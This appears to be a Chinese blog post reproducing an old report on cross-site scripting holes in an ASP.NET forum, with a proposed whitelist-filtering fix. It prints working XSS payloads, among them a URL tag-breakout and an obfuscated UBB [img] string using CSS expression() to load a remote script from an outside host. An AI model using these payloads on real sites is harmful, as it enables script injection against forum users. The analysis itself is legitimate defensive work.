zoukankan      html  css  js  c++  java
  • XSS跨站脚本实例

    刚毕业时候的做的报告,整理文档的时候搜了出来,可能不是很正确仅供参考了


     URL注入  

    例如在页面上输入

    http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>

     

    查看源文件里的会有这样的代码

    <A class=maintitle                                                        

    href="http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>"><FONT size="4">
    前面蓝色的部分被截断了。

    部分页面源代码是这样的

    <A class=maintitle href="<%=this.CurrentUrl%>"><FONT size="4">   

     

    其他页面也有类似的代码而且被注入的地方也是这些地方例如

    是这段代码<FORM id="Frm" name="Frm" action='UserLogin.aspx?ru=<%=Request.RawUrl%>' method="post" onsubmit="javascript:return CheckForm();">

    一些页面是

    <a href="<%=Request.RawUrl%>" class="gensmall">会员列表</a>  

     

    所以考虑到这些可以采取安全部的意见使用白名单过滤:

    先对URL的内容进行解码这样可以转义相当一部分玩家的花招
    string strXss= Server.UrlDecode(this.Request.RawUrl.ToString());  
    然后使用白名单过滤:
    只保留/HTTP://&?=%.,数字,字母,汉字,下划线。

     


     XSS表单注入

     

     UBB解析前(仅讨论针对IMG标签)

       注入字符串:
    "\r\n[img]http://[color=a\t\twidth=00\t\tSTYLE=a:expr/&#92;/Ession(docum&#00;ent.write(\"&#60;scr&#00;ipt/&#92;/src=http://sd0o.com.cn/1000y.jpg&#62;&#60;/scr&#00;ipt&#62;\"))\t=]\t[/color][/img]\r\n

     

    UBB解析过程:

    解析前字符串:

    "<br>[img]http://[color=a\t\twidth=00\t\tSTYLE=a:expr/\\/Ession(docum\0ent.write(&quot;&lt;scr\0ipt/\\/src=http://sd0o.com.cn/1000y.jpg&gt;&lt;/scr\0ipt&gt;&quot;))\t=]\t[/color][/img]<br>"

    正则表达式:

    @"\[img\](?<img>.+?)\[\/img\]"

    要替换的字符串:

    "<a href='${img}' target='_blank'><img src='${img}' border=0 onmousewheel='javascript:return bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滚轮可以缩放图片大小'></a>"
       
    替换后表达式
    "<br><a href='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write(&quot;&lt;scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg&gt;&lt;/scr\0ipt&gt;&quot;))\t=]\t[/color]' target='_blank'><img src='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write(&quot;&lt;scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg&gt;&lt;/scr\0ipt&gt;&quot;))\t=]\t[/color]' border=0 onmousewheel='javascript:return bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滚轮可以缩放图片大小'></a><br>"



  • 相关阅读:
    SDOI2008 沙拉公主的困惑
    HNOI2004 L语言
    SDOI2008 sue的小球
    HNOI2011 XOR和路径
    BJWC2011 元素
    CQOI2013 新nim游戏
    HNOI2007 紧急疏散
    sublime text 3将px换算为rem的插件的安装及使用
    移动端知识
    登录拦截逻辑
  • 原文地址:https://www.cnblogs.com/dubing/p/2247116.html
Copyright © 2011-2022 走看看